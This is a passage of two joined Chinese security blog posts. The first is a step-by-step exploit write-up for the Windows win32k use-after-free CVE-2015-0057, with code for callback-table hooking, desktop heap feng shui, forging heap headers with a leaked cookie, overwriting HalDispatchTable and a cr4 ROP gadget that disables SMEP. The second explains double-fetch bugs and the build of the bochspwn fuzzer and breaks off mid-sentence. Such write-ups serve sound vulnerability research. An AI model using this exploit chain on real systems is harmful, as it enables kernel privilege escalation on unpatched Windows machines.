的资料中我们可以知道用户态回调函数的一些相关机制，通常每个进程都包含一张用户态回调函数指针的列表，`PEB->KernelCallBackTable`
就指向这张表。当内核想要调用一个用户态函数时就用一个函数索引表示函数在表中的位置，由 `KeUserModeCallback`
函数合法的从内核态转换到用户态，该函数原型如下：
NTSTATUS KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
);
需要注意的是 `ApiNumber` 参数为函数表索引号，接着由用户态函数`KiUserModeCallbackDispatch`
查找索引在回调函数列表中对应的函数并执行，我们可以查看 `PEB->KernelCallBackTable` 把其中对应的地址处的代码修改掉。
选好断点位置，在 Drawscrollbar 之后对 `nt!KeUserModeCallback`
下断点，虽然很容易在其他地方断下，但是多试几次，就能断在我们的调用链中。
`nt!KeUserModeCallback` 的断点在触发若干次后断在了我们的调用链中：
此时查看 `rcx` 寄存器的值，在函数列表中找到对应的地址：
kd> r rcx
rcx=0000000000000002
kd> dt !_PEB @$peb
nt!_PEB
...
+0x058 KernelCallbackTable : 0x00007fff`79070a80 Void
...
kd> dqs 0x00007fff`79070a80
00007fff`79070a80 00007fff`79053ef0 USER32!_fnCOPYDATA
00007fff`79070a88 00007fff`790aadb0 USER32!_fnCOPYGLOBALDATA
00007fff`79070a90 00007fff`79043b90 USER32!_fnDWORD
00007fff`79070a98 00007fff`790459b0 USER32!_fnNCDESTROY
00007fff`79070aa0 00007fff`79055640 USER32!_fnDWORDOPTINLPMSG
00007fff`79070aa8 00007fff`790ab2b0 USER32!_fnINOUTDRAG
00007fff`79070ab0 00007fff`79053970 USER32!_fnGETTEXTLENGTHS
00007fff`79070ab8 00007fff`7907f1c0 USER32!__fnINCNTOUTSTRING
...
这里比较坑的点是 `nt!KeUserModeCallback`
会被很多地方调用很多次，这样每次断下来查看一下栈回溯才知道是不是处于我们的函数链中，最麻烦的是你无法确定该选用哪个回调函数去 hook，`_fnDWORD`
也会在 DrawScrollBar 中被触发回调，不过这是一个已经被完成的利用，虽然不知道利用开发者是如何知道 `__ClientLoadLibrary`
函数是适合被 hook 的，可能调用次数比较少，这里纠结了许久，最后就当学习了吧（tql 233）。
那么现在我们确定要 hook 的函数是 `__ClientLoadLibrary`，经过计算它的偏移是 `0x238`，用以下代码获取它的地址：
ULONG_PTR Get__ClientLoadLibrary()
{
ULONG_PTR addr = NULL;
addr = *(ULONG_PTR *)(__readgsqword(0x60) + 0x58) + 0x238; // gs:[60] 表示 peb 的地址，用 __readgsqword 读取 peb 地址
return addr;
}
接着把获取到的地址上的值覆盖成我们自定义的函数 fakehook 函数的地址，用一个赋值就行了。
*(ULONG_PTR *)_ClientLoadLibrary_addr = (ULONG_PTR)Fake__ClientLoadLibrary;
有了 hook 的自定义函数之后我们就可以做些事情，想办法触发 uaf。要考虑到回调函数可能在系统其它地方被多次调用，我们在执行自定义函数的时候设置
hookflag 变量 和 hookcount 变量，在执行到 `EnableScrollBar` 之前把 hookflag 设置为 1，表示可以开始
hook 回调函数，而 hookcount 表示自 hookflag 变量设置后第几次 hook 到回调函数，那么我们只要确认需要执行的是第几次 hook
到的回调函数，代码如下。
VOID Fake__ClientLoadLibrary(VOID* a)
{
if (hookflag)
{
if (++hookcount == 2)
{
DestroyWindow(hwnd);
}
}
}
到现在为止我们终于可以构造出一个触发 BSOD 的 poc，在回调函数中调用 destorywindow 释放掉 `tagSBINFO` 结构，但是
window 对象并不会被立即释放，这涉及到引用计数机制，据资料说明 `tagSBINFO`
并没有引用计数机制，所以这里可以被释放掉，然后被释放掉的块在后续处理中有一次写操作，这样被释放的堆块就会受到影响，导致内核崩溃。大致代码如下：
#include <windows.h>
const char g_szClassName[] = "poc";
HWND hwnd;
int hookflag = 0;
int hookcount = 0;
VOID * _ClientLoadLibrary;
ULONG_PTR _ClientLoadLibrary_addr;
VOID Fake__ClientLoadLibrary(VOID* a)
{
if (hookflag)
{
if (++hookcount == 2)
{
DestroyWindow(hwnd);
}
}
}
... ...
BOOL Trigger(int cmd, HINSTANCE h)
{
DWORD dwOldProtect = 0;
// window which instantiates a scrollbar to be freed
hwnd = CreateWindowExA(0, g_szClassName, 0, SBS_HORZ | WS_HSCROLL | WS_VSCROLL,
10, 10, 100, 100, (HWND)NULL, (HMENU)NULL, h, (PVOID)NULL);
if (hwnd == NULL)
return FALSE;
ShowWindow(hwnd, SW_SHOW);
UpdateWindow(hwnd);
hookflag = 1;
EnableScrollBar(hwnd, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH);
return TRUE;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
_ClientLoadLibrary_addr = Get__ClientLoadLibrary();
_ClientLoadLibrary = (void *)(ULONG_PTR *)_ClientLoadLibrary_addr;
Hook__ClientLoadLibrary();
InitWindows(hInstance);
Trigger(iCmdShow, hInstance);
}
下一步我们要做的就更有趣了，用堆风水把释放的块替换成指定的对象，这样可以做更多的事，不过要完成堆风水，我们需要对 desktop 的堆有一定的了解。
## Heap Feng Shui
有关 desktop 的堆在前面 win32k 的 paper 中有相关介绍，desktop 堆是 win32k.sys 用来存储给定 desktop
相关联的一系列 GUI 对象，包含了窗体对象和其相关结构，比如 property list，window text 和 scrollbar。
每创建一个桌面就会有一个相应的堆为其服务，那么我们就可以分配一个新的桌面得到一个初始的堆，可以更稳定的进行调控。但资料中又提到一个信息，低权限进程是无法创建新的桌面的。
抛开这个问题，我们先明确堆风水要达成的目的，就是要把释放后的 tagSBINFO
结构的堆块替换成其他的结构堆块，利用结构体的特性修改一些关键的数据从而获得操作更多数据的能力，要完成替换就需要精准预测堆块的分配，尽可能完全控制整个堆的布局。比较可行的办法是先把释放的堆块尽可能填满，之后新分配的堆块就会排列在一起，然后在一系列连续的堆块中释放掉相应的块造成一个缺口，那么后面分配的块大概率会在缺口的位置，实现预测分配。
在桌面堆中分配的有三个重要的数据类型我们需要了解一下，主要就通过使用这些结构体来控制堆上的窗体相关的数据。每个窗体对象包含一个 `tagPROLIST`
结构体，它的大小足够小，在64位系统下分配的大小为 0x18 字节，可以用来填充一些比较小的缺口，该结构类型定义如下：
kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B
+0x004 iFirstFree : Uint4B
+0x008 aprop : [1] tagPROP
+0x000 hData : Ptr64 Void
+0x008 atomKey : Uint2B
+0x00a fs : Uint2B
然后是窗体文本属性，在 `tagWND` 结构体中的成员 `strName` 可以分配任意大小的 UNICODE 字符串，
kd> dt win32k!tagWND -b strName
+0x0d8 strName : _LARGE_UNICODE_STRING
还有就是 `tagSBINFO` 结构，正是用来引发 uaf 漏洞的那个对象，也可以控制部分字段的数据。从相关资料中可以获取到展示这些数据类型关系的图解：
现在我们的目标是把释放后的 `tagSBINFO` 的块替换成 `tagPROLIST` 结构体块，因为修改 `tagPROLIST`
结构上的某个成员可以获得任意地址读写的能力。Property 列表可以用 `SetProp()` 函数创建，该函数会先通过 `atomKey`
匹配查找是否有相同的 property 存在，如果没有相同的存在，就会在列表中创建新的 property 条目，初始的调用会创建一个 property
列表链接到 `tagWND` 结构中，其函数原型如下：
BOOL SetPropA(
HWND hWnd,
LPCSTR lpString,
HANDLE hData
);
思路是这样的，在初始的阶段先准备大量 `tagWND` 结构，并且每个 `tagWND` 都有相关联的 `tagPROLIST`，这个阶段的内存布局如下：
然后我们分配 scrollbar 准备触发 uaf，现在的内存布局如下：
接着设置 scrollbar 的一些参数控制回调函数调用 DestoryWindow 释放掉 `tagSBINFO`，内存布局就变成了：
64位系统下的 `tagSBINFO` 结构体是 0x28 字节，而单个条目的 `tagPROLIST` 结构体是 0x18 字节，再次调用
`setProp` 会增加一个 0x10 字节的 tagProp 条目，也刚好是 0x28
字节。我们前面已经通过堆喷射把可能释放的空间都填充完了，接下来分配的 `tagPROLIST` 由于没有更合适的位置，会被放到原来 `tagSBINFO`
的位置，具体是先释放一个窗体的属性列表，由于堆喷已经填满了空闲的内存，这个 0x18
字节的块周围并没有相邻空闲状态的块，这样就不会发生空闲块之间的合并，从而产生更大的空闲块，拥有足够的大小会影响到 `tagPROLIST`
的位置，这时我们增加 tagPROP 就会分配 0x28 字节大小的 `tagPROLIST` 且刚好落到原来 `tagSBINFO` 的位置，如图：
然后回调函数执行完后返回内核态触发 uaf 执行写操作，`tagPROLIST` 的 cEntries 字段会从 0x2 变为 0xe，这样我们可以用
setProp 越界写后面相邻的块。但是这只是个堆溢出，离任意地址读写还有相当一部分距离，怎样把这个越界写利用起来呢？我们先重新审视下
`tagPROLIST` 的定义：
kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B ==> 表面一共有多少个tagPROP ==> 用这个越界读写.
+0x004 iFirstFree : Uint4B ==> 表明当前正在添加第几个tagPROP结构体
+0x008 aprop : [1] tagPROP ==> 一个单项的tagProp
+0x000 hData : Ptr64 Void ==> 对应hData
+0x008 atomKey : Uint2B ==> 对应lpString
+0x00a fs : Uint2B ==> 无法控制, 和内核实现的算法无关
`tagPROLIST` 只有两个成员属性，`cEntries` 和 `iFirstFree` 分别表示 `tagPROP` 的数量和指向当前正在添加的
`tagPROP` 的位置。当插入新的 `tagPROP` 时会先对已有的 `tagPROP` 条目进行扫描直到到达 `iFirstFree`
指向的位置，这里并没有检查 `iFirstFree` 是否超过了 `cEntries`，但如果扫描中发现了相应的 `atomKey` 则会实施检查确保
`iFirstFree` 不和 `cEntries` 相等，然后新的 `tagPROP` 才会添加到 `iFirstFree` 索引的位置，如果
`iFirstFree` 和 `cEntries` 相等的话表明空间不够用了，就分配一个新的能容纳所插入条目的属性列表，同时原有的项被复制过来并插入新的项。
而 `tagPROP` 结构和 `SetProp()` 函数相关联，`hData` 成员对应 SetProp 的 `HANDLE hData`
参数，`atomkey` 对应 `lpString` 参数，且属于我们可控的范畴，根据文档的说明，我们可以用这个参数传递一个字符串指针或者16位的 atom
值，当传递字符串指针时会自动转化为 atom 值，这样我们可以传递任何 atom
值来控制两个字节的数据。不过还是有一些限制，当我们添加新的条目到列表中时，`atomKey`
不能重复，否则新的条目会把旧的给替换掉。另外还有一点值得注意的是 `tagPROP` 只有 0xc 字节大小，不过系统分配的是 0x10 字节用来对齐。
这样一来我们每个添加的 `tagPROP` 情况是这样的：
* Offset 0x0: 8 字节任意可控的数据 (hData)
* Offset 0x8: 2 字节大概可控的数据 (atomKey)
* Offset 0xa: 2 字节不可控的数据 (fs)
* Offset 0xc: 4 字节不能修改的数据 (padding)
这里在对相邻块进行覆写时会产生一个问题，如果只是覆盖相邻块开头的8字节就能产生效果就还行，但若是要继续往深了走覆盖后面的字段才能产生效果的话就会不可避免的破坏一些原本的值，可能造成崩溃，好在这有个不错的结构对象，就是
`tagWND` 结构体的 `strName` 成员，该成员的结构类型是`_LARGE_UNICODE_STRING`：
kd> dt win32k!tagWND -b strName
+0x0d8 strName : _LARGE_UNICODE_STRING
kd> dt !_LARGE_UNICODE_STRING
win32k!_LARGE_UNICODE_STRING
+0x000 Length : Uint4B
+0x004 MaximumLength : Pos 0, 31 Bits
+0x004 bAnsi : Pos 31, 1 Bit
+0x008 Buffer : Ptr64 Uint2B
如果我们能够覆盖到 `Buffer` 字段就可以通过窗体字符串指针任意读写 `MaximumLength` 大小字节的数据。现在我们知道了如何用
`tagPROPLIST`
来修改数据，也知道哪些部分我们能控制，以及有哪些限制，接下来我们要做的就是想办法用这部分修改数据的能力获得任意地址读写的操作原语。
## Stage 2
按照我们的思路在初始化阶段准备大量 `tagWND` 结构：
BOOL InitWindows(HINSTANCE hInstance, HWND* hwndArray, int count)
{
...
for (int i = 0; i < count; i++)
{
hwndArray[i] = CreateWindowExA(
0,
g_szClassName,
0,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
(HWND)NULL,
(HMENU)NULL,
NULL,
(PVOID)NULL
);
if (hwndArray[i] == NULL)
return FALSE;
SetPropA(hwndArray[i], (LPCSTR)(1), (HANDLE)0xCCCCCCCCCCCCCCCC);
}
}
InitWindows(hInstance, inithwnd, MAX_OBJECTS); // 这一部分作为内存填充
InitWindows(hInstance, spraywnd, MAX_SPRAY_OBJECTS); // 这一部分为增加 tagPROP 条目作铺垫
// 准备一个缺口
for (int i = 0; i < count; i++)
{
if ((i % 0x150) == 0)
DestroyWindow(inithwnd[i]);
}
在回调函数中释放 `tagSBINFO` 然后分配 `tagPROPLIST`，这时是第二次调用 `setPropA`，所以分配的是 0x28 大小的块。
if (hookflag)
{
if (++hookcount == 2)
{
hookflag = 0;
DebugBreak();
DestroyWindow(hwnd);
DebugBreak();
for (int i = 0; i < MAX_SPRAY_OBJECTS; i++)
SetPropA(spraywnd[i], (LPCSTR)0x06, (HANDLE)0xCAFECAFECAFECAFE);
DebugBreak();
}
}
可以用 windbg 脚本查看 desktop heap 的分配情况：
ba e 1 nt!RtlAllocateHeap "r @$t2 = @r8; r @$t3 = @rcx; gu; .printf "RtlAllocateHeap(%p, 0x%x):", @$t3, @$t2; r @rax; gc";
ba e 1 nt!RtlFreeHeap ".printf "RtlFreeHeap(%p, 0x%x, %p)", @rcx, @edx, @r8; .echo ; gc";
本来按照越界写的思路去控制 `strName.Buffer` 似乎是可行的，但是实际调试过程中发现能控制得部分有限。运行 poc 程序自动断在回调函数处，把
monitor 脚本设置好继续运行：
可以看到如预期的那样 `tagSBINFO` 结构块被释放后分配 0x28 字节大小的 `tagPROPLIST` 块占了上去，继续运行触发 uaf，修改
`cEntries` 字段：
本来是 0x2 经过或运算之后变成了 0xe，这样可以越界写 (0xe-0x2)*0x10 范围的数据，我的想法是目标 `strName.Buffer`
的偏移是 0xd8 再加上 0x10 大小的 _HEAP_ENTRY 这样就够不到这个距离（可能不对），还得继续深入挖掘更多信息。
仔细查看 `tagWND` 结构的信息，太长就不贴出来了，在 win7 的符号表中有，除了 `_LARGE_UNICODE_STRING`
结构之外还有个值得注意的 `_THRDESKHEAD` 结构，它的定义如下：
kd> dt !_THRDESKHEAD
win32k!_THRDESKHEAD
+0x000 h : Ptr64 Void
+0x008 cLockObj : Uint4B
+0x010 pti : Ptr64 tagTHREADINFO
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 UChar
这个结构体内很多指针都不能被破坏，但是我们并不能完全的控制 0x10 字节的数据，这是个麻烦的问题，不仅这个结构，就算可以越界到 `strName`
我们也只能完全控制前 0x8 个字节，`Buffer`
指针只能部分控制。那么我们就不能直接这样越界写，得想其他路子。这里我们将注意力转移到另外一个结构体，内核的堆块有其本身的结构，可以称为 heap
的元数据也可以叫堆头，在桌面堆中这个结构叫做 _HEAP_ENTRY，主要用来堆内存的管理，标识堆块的大小与是否空闲的状态，它的定义如下：
kd> dt !_HEAP_ENTRY
ntdll!_HEAP_ENTRY
+0x000 PreviousBlockPrivateData : Ptr64 Void
+0x008 Size : Uint2B => 当前堆块大小
+0x00a Flags : UChar => 表示是否空闲
+0x00b SmallTagIndex : UChar => 检测是否被覆盖
+0x00c PreviousSize : Uint2B => 前一个堆块大小
+0x00e SegmentOffset : UChar
+0x00f UnusedBytes : UChar
有关堆头结构的详细介绍可以查看这篇文章 [Leviathan blog
entry](https://www.leviathansecurity.com/blog/understanding-the-windows-allocator-a-redux/)，堆头是 0x10 字节大小，前 8 字节如果有对齐的需要就存放上一个堆块的数据，size 域和 prevsize
域存放的是本来数值除以 0x10，Flags 域用来表示当前堆块是空闲状态还是使用状态，SmallTagIndex
域则是用来做安全检查的，存放一个异或加密过的值就像 stack cookie 那样检测是否有溢出。
虽然不能直接覆盖 strName.Buffer，但是我们可以拿 _HEAP_ENTRY 开刀，而且 SetPROP
刚好可以完全控制下一个堆块_HEAP_ENTRY 关键的数据结构，修改它的大小让其包含 tagWND 结构，然后释放掉它再分配一个 tagPROP +
tagWND 大小的堆块，这样我们就可以控制堆块的内容来修改 tagWND。现在调整一下风水布局，和 Ncc Group 的略有不同，用 window
text 结构可以任意分配内存大小，这样更为方便，新的堆布局如下：
触发 uaf 后 tagSBINFO 位置处会被替换成 tagPROPLIST 结构，然后调用 setPROP 修改相邻 window text 的
_HEAP_ENTRY 将其 size 域覆盖成 sizeof(overlay1) + sizeof(tagWND) +
sizeof(_HEAP_ENTRY)，然后释放掉，分配一个 window text 来操作里面的数据。
现在我们能用任何想要的数据覆盖 strName.Buffer 的指针，虽然 tagWND
的其他数据需要修复，不过这可以从用户空间读取，桌面堆会映射到用户空间，准备好 tagWND 的全部数据，把 Buffer
指针的值修改成目的地址，然后申请这部分内存。
堆内存的预期布局我们已经设计好，后面就是具体的实施了，一共需要三组 tagWND，先初始化用来占位的一组和用来设置 tagPROP 的一组：
for (int i = 0; i < MAX_OBJECTS; i++)
{
InitWindow(hInstance, hwndlist1, i);
SetPropA(hwndlist1[i], (LPCSTR)(1), (HANDLE)0xCCCCCCCCCCCCCCCC);
}
for (int i = 0; i < MAX_SPRAY_OBJECTS; i++)
{
InitWindow(hInstance, spraywnd, i);
SetPropA(spraywnd[i], (LPCSTR)(1), (HANDLE)0xCCCCCCCCCCCCCCCC);
}
这两组 tagWND 的位置可以不用管，然后我们用第一组 tagWND 也就是 hwndlist1 做两件事，一个是分配 0x30 字节大小的
tagPROP 为同样 0x30 字节大小堆块的 tagSBINFO 占位，
// property list
SetPropA(hwndlist1[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
另外就是设置 window text 作为合并内存的头尾，在两次 window text 分配的中间就需要插入 tagWND 结构，中间的插入交给第三组
tagWND。
// build first overlay
memset(o1str, 'x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);
memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
SHORT unused_win_index = 0x20;
for (SHORT i = 0; i < MAX_OBJECTS - 0x20; i++)
{
// property list
SetPropA(hwndlist1[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
// overlay 1
if ((i % 0x150) == 0)
NtUserDefSetText(hwndlist1[MAX_OBJECTS - (unused_win_index--)], &o1lstr);
InitWindow(hInstance, hwndlist2, i);
// overlay 2
if ((i % 0x150) == 0)
NtUserDefSetText(hwndlist1[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}
这样我们的堆内存布局就实施完成了。
现在还有一个很重要的问题没有解决，刚刚在堆布局的时候我没有说，就是 heap cookie 的问题，我们已经知道 _HEAP_ENTRY
结构每个字段的值表示什么，但是在内存中查看会发现和我们预期的不一样，是一个很奇怪的值，
其实是 windows 实现了一个 heap cookie，每次开机都会产生一个随机数 cookie，对本来的 _HEAP_ENTRY
进行异或加密，那么我们正确的覆盖它就还需要将设置好的值和 cookie 异或过再放上去才行。利用代码中有现成的泄露 cookie 的方法：
BOOL GetDHeapCookie()
{
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
BYTE *Addr = (BYTE *) 0x1000;
ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
{
if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
{
if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee )
{
if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap))
{
xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 );
return TRUE;
}
}
}
Addr += MemInfo.RegionSize;
}
return FALSE;
}
我们直接拿来用就好了，原理也是从桌面堆映射到用户空间的内存里取出 cookie 的值，然后构造好 size、prevsize、small tagIndex
之后整串字符和 cookie 值异或完就可以放上去了。
memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
*(DWORD *)o2str = 0x00000000;
*(DWORD *)(o2str + 4) = 0x00000000;
*(DWORD *)(o2str + 8) = 0x00010000 + OVERLAY2_SIZE;
*(DWORD *)(o2str + 12) = 0x10000000 + ((OVERLAY1_SIZE + TAGWND_SIZE + _HEAP_BLOCK_SIZE) / 0x10);
string clearh, newh;
o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];
clearh.append(o2str, 16);
newh = XOR(clearh, xorKey);
memcpy(o2str, newh.c_str(), 16);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
## Code Execution
现在控制了 strName.Buffer 也就可以任意地址写了，后面的利用的套路都是通用的，可以用这个写操作原语覆盖 nt!HalDispatchTable
的第二项，然后在用户态调用 NtQueryInternalProfile() 函数，然后内核中会执行
nt!KeQueryIntervalProfile，该函数中有这样一个代码片段
调用了 HalDispatchTable 偏移 0x8 地址处的函数，我们把这个地址处的函数替换成任意地址的代码。可以在用户态调用
NtQuerySystemInformation() 来获取模块信息，这些信息中就包含模块基址，然后通过基址计算出 HalDispatchTable
在内核中的地址。
rc = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, pModuleInfo, 0x100000, NULL);
得到代码执行是不是就万事大吉了呢？实际上我们还有一些缓解措施需要绕过，第一个要解决的就是 SMEP，它阻止我们在用户空间以内核权限执行代码，这使得修改
nt!HalDispatchTable 的列表项，使其指向用户空间地址变得不可用了。不过我们可以用 ROP
绕，先跳转到内核空间的的某个可控制的位置，在该位置上的代码能修改 cr4 寄存器的值以关闭
SMEP，这样就能跳转到用户空间执行代码了。我们可以在内核空间找到这样一处代码：
kd> u fffff802`005f97cc
nt!KiConfigureDynamicProcessor+0x40:
fffff802`005f97cc 0f22e0 mov cr4,rax
fffff802`005f97cf 4883c428 add rsp,28h
fffff802`005f97d3 c3 ret
cr4 是决定 SMEP 的关键寄存器，将 cr4 第20位 bit 设置位 0，cr4 的值为 0x406f8，然后返回地址用 shellcode
地址传参压入栈中，完美的跳转执行了 shellcode。
ULONG_PTR newcr4 = 0x406f8;
NtQueryIntervalProfile(shellcodeaddress, (PULONG)&newcr4);
最终结果验证
完整的漏洞利用代码在 [github](https://github.com/0x3f97/windows-kernel-exploit/tree/master/cve-2015-0057) 上。
## Summary
整个分析过程耗时非常之久（卒，总是想要弄清楚漏洞的每个细节，从漏洞成因到触发漏洞边看资料边调都花了大量时间，然后一直到 stage2 调整堆风水覆盖
strBuffer 的阶段，我从一边写记录一边调利用转向了完全专注于利用的开发，其实我只做了堆风水布局的调整，其他部分像内核地址的泄露、shellcode
的执行都是照抄已有的 exp 代码（逃。虽然我现在的进度很慢，我还是会尽最大努力继续学习 win kernel，向 wjllz
师傅还有其他很多都很厉害的师傅学习QvQ ！
## Reference
* 漏洞发现者 Udi Yavo of enSilo 的 [分析](https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit)
* Ncc group 详细利用分析的 [writeup](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/)
* [windows 内核系列二: cve-2015-0057 ==> DDCTF kernel pwn第二题](https://bbs.pediy.com/thread-247281.htm)
* win8.1 x64 下完整利用 [[MS15-010 / CVE-2015-0057] EXPLOITATION](http://hdwsec.fr/blog/20151217-ms15-010/) | 社区文章 |
这是内核漏洞挖掘技术系列的第二篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
## 前言
2013年Project Zero的j00ru开源了用bochs的插桩API实现的挖掘内核double
fetch漏洞的工具bochspwn(<https://github.com/googleprojectzero/bochspwn>)，2018年j00ru更新了bochspwn，还开源了同样用bochs的插桩API实现的挖掘未初始化导致的内核信息泄露漏洞的工具bochspwn-reloaded(<https://github.com/googleprojectzero/bochspwn-reloaded>)。这两个工具发现了windows/linux等操作系统中的多个漏洞。因为bochspwn搭建环境有一些坑，所以这篇文章先讲解double
fetch漏洞原理，再搭建bochspwn环境，最后讲解bochspwn原理。
## double fetch漏洞
double
fetch原理说起来很简单，如图所示，用户通常会通过调用内核函数完成特定功能，当内核函数两次从同一用户内存地址读取同一数据时，通常第一次读取用来验证数据或建立联系，第二次则用来使用该数据。与此同时，用户空间并发运行的恶意线程可以在两次内核读取操作之间利用竞争条件对该数据进行篡改，从而造成内核使用数据的不一致。double
fetch漏洞可造成包括缓冲区溢出、信息泄露、空指针引用等后果，最终造成内核崩溃或者恶意提权。
在bochspwn论文中，对double fetch是这样定义的：
* 同一个虚拟地址至少有两次内存读取
* 两次读取操作发生在很短的时间内
* 读取的代码运行在内核态
* 多次读取的虚拟地址必须驻留在内存中并且用户态可写
在windows系统上比较典型的double fetch长下面这样。
## 环境搭建(ubuntu18.10+win 10)
如果要使用bochs提供的插桩API，需要把自己写的代码放在源代码中instrument目录下一个单独的目录(比如bochspwn)，在编译时启用--enable-instrumentation选项并指定该目录。
./configure [...] --enable-instrumentation="instrument/bochspwn"
所以需要先在linux上搭建交叉编译环境编译出bochs.exe再在windows上使用。`sudo apt-get install
g++-mingw-w64`并按提示安装其它需要的包。
bochspwn使用protobuf记录日志，接下来到<https://github.com/protocolbuffers/protobuf>下载2.5.0版的protobuf，执行下面的命令编译protobuf并在mingw目录中安装头文件和库。
./configure --host=i686-w64-mingw32 --prefix=/usr/i686-w64-mingw32/
make
sudo make install
make时会出现下面这样的错误。
注释掉src目录下Makefile中下图所示第3114行即可。
之后`sudo apt-get install g++`并按提示安装其它需要的包，执行下面的命令编译linux上用的。
./configure
make
sudo make install
之后运行`protoc
–version`检查安装是否成功，此时会出现下面这样的错误。这是因为protobuf的默认安装路径是/usr/local/lib，而/usr/local/lib不在ubuntu体系默认的LD_LIBRARY_PATH里。创建文件/etc/ld.so.conf.d/libprotobuf.conf并写入/usr/local/lib，`sudo
ldconfig`再运行`protoc --version`就可以正常看到版本号了。
到<https://sourceforge.net/projects/bochs/files/bochs/>下载bochs2.6.9的源代码，<https://github.com/googleprojectzero/bochspwn>下载bochspwn的源代码。在bochs-2.6.9/instrument/目录下创建bochspwn目录，将bochspwn/instrumentation和bochspwn/third_party/instrumentation中的文件拷贝到我们创建的bochs-2.6.9/instrument/bochspwn中。在windows操作系统中找到32位的dbghelp.lib或者dbghelp.dll(原来的文档中这里说法有点问题，我在github上提了个issue之后改过来了)，也拷贝到我们创建的bochs-2.6.9/instrument/bochspwn中。如果安装了windbg可以在C:\Program
Files (x86)\Debugging Tools for Windows
(x86)\中找到这些文件(我认为这些文件的版本应该对应于待fuzz的windows操作系统的版本，原来的文档中并没有说明这一点)。之后在bochs-2.6.9目录下执行下面的命令。
export MINGW=i686-w64-mingw32
CXXFLAGS="-O2 -I/usr/${MINGW}/include/ -D_WIN32 -L/usr/${MINGW}/lib -static-libgcc -static-libstdc++" CFLAGS="-O2 -I/usr/${MINGW}/include/ -D_WIN32 -L/usr/${MINGW}/lib" LIBS="/usr/${MINGW}/lib/libprotobuf.a instrument/bochspwn/dbghelp.lib" ./configure \
--host=i686-w64-mingw32 \
--enable-instrumentation="instrument/bochspwn" \
--enable-x86-64 \
--enable-e1000 \
--with-win32 \
--without-x \
--without-x11 \
--enable-cpu-level=6 \
--enable-pci \
--enable-pnic \
--enable-fast-function-calls \
--enable-fpu \
--enable-cdrom \
--disable-all-optimizations
切换到bochs-2.6.9/instrument/bochspwn，`protoc --cpp_out=.
logging.proto`生成logging.pb.cc和logging.pb.h，之后make编译。第一次报错找不到DbgHelp.h，将dbghelp.h重命名为DbgHelp.h。
第二次报错有关__in和__out，这是因为微软风格的代码使用__in和__out来注释函数参数，执行下面的命令把/usr/lib/gcc/i686-w64-mingw32/7.3-win32/include目录下所有文件中的__in和__out替换成___in和___out。
sudo sed -ri 's/\b(__in|__out)\b/_&/g' $(egrep -rl '\b(__in|__out)\b' include)
编译成功之后应该会有一个libinstrument.a文件。
然后切换回bochs-2.6.9，之后make编译。第一次报错narrow conversion，CXXFLAGS加上-Wno-narrowing忽略此错误。
第二次报错没有找到windres，把Makefile中所有的windres替换成i686-w64-mingw32-windres。
第三次报错是因为链接器没有指定-lws2_32，在Makefile相关命令后加上-lws2_32。
之后就应该不会再有什么错误了。如果我们想编译64位版本的bochs从第一步编译protobuf开始把编译器换成x86_64-w64-mingw32，把dbghelp.lib/dll换成64位的版本，其余步骤应该一样。
接下来以fuzz linux内核为例。在windows操作系统上安装好bochs-2.6.9，用VirtualBox安装好ubuntu sever
18.04.2。这里用server也是因为没有图形化界面，bochs运行起来相对流畅一些。升级到最新的内核并安装好符号包(<http://ddebs.ubuntu.com/pool/main/l/linux/>)。然后下载并安装好这个系列第一篇介绍的trinity(<https://github.com/kernelslacker/trinity>)或者其它能帮助提高代码覆盖率的工具。bochspwn在生成日志文件的时候需要一些特定的结构体信息，使用gdb加载内核符号文件之后打印出这些信息。在原来的文档中提供了打印出这些信息需要的gdb脚本。
print &((struct thread_info*)0)->task
print &((struct task_struct*)0)->pid
print &((struct task_struct*)0)->tgid
print &((struct task_struct*)0)->comm
print &modules
print &((struct module*)0)->list
print &((struct module*)0)->name
print &((struct module*)0)->module_core
print &((struct module*)0)->core_size
maintenance info sections
不过内核的数据结构已经有了一些变化，我不太确定我下面的脚本是否正确(我不是很清楚struct
